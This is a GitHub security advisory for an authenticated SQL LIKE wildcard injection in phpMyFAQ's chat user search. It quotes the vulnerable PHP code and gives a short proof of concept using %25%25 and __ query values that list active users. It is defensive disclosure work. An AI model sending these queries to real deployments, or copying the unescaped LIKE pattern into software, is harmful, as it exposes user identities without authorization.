Skip to content

phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration

Moderate severity GitHub Reviewed Published Aug 8, 2026 in thorsten/phpMyFAQ • Updated Sep 24, 2026

Package

composer thorsten/phpmyfaq (Composer)

Affected versions

< 4.2.0-alpha

Patched versions

4.2.0-alpha

Description

Summary

An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.

Details

The vulnerable endpoint is:

  GET /api/chat/users?q=...

Source:

  // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
  $query = trim($request->query->get('q', ''));

  if (mb_strlen($query) < 2) {
      return $this->json([
          'success' => true,
          'users' => [],
      ], Response::HTTP_OK);
  }

  $chat = new Chat($this->configuration);
  $users = $chat->searchUsers($query, $this->currentUser->getUserId());

Sink:

  // phpmyfaq/src/phpMyFAQ/Chat.php
  $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));

  $query = sprintf(
      "SELECT u.user_id, ud.display_name
       FROM %sfaquser u
       LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
       WHERE u.user_id != %d
         AND u.user_id > 0
         AND LOWER(ud.display_name) LIKE '%%%s%%'
         AND u.account_status = 'active'
       LIMIT %d",
      Database::getTablePrefix(),
      Database::getTablePrefix(),
      $excludeUserId,
      $escapedTerm,
      $limit,
  );

escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.

The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.

PoC:

Tested against:

phpMyFAQ 4.2.0-alpha
commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae

Prerequisite: attacker has any valid authenticated user account.

  1. Ensure there are multiple active users in the database, for example:
  userId=2 displayName="Alice Finance"
  userId=3 displayName="Bob Support"
  userId=4 displayName="Carol Engineering"
  1. Send a normal query that should not match any user:
  GET /api/chat/users?q=zz HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Observed response:

  {
    "success": true,
    "users": []
  }
  1. Send a wildcard query:
  GET /api/chat/users?q=%25%25 HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Observed response:

  {
    "success": true,
    "users": [
      {
        "userId": 2,
        "displayName": "Alice Finance"
      },
      {
        "userId": 3,
        "displayName": "Bob Support"
      },
      {
        "userId": 4,
        "displayName": "Carol Engineering"
      }
    ]
  }

The same issue is reproducible with _ wildcards:

  GET /api/chat/users?q=__ HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.

Impact

This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.

Video PoC:

https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f

References

@thorsten thorsten published to thorsten/phpMyFAQ Aug 8, 2026
Published to the GitHub Advisory Database Aug 12, 2026
Reviewed Aug 12, 2026
Published by the National Vulnerability Database Sep 24, 2026
Last updated Sep 24, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(15th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

CVE ID

CVE-2026-47132

GHSA ID

GHSA-6pvm-2vjj-rx4w

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.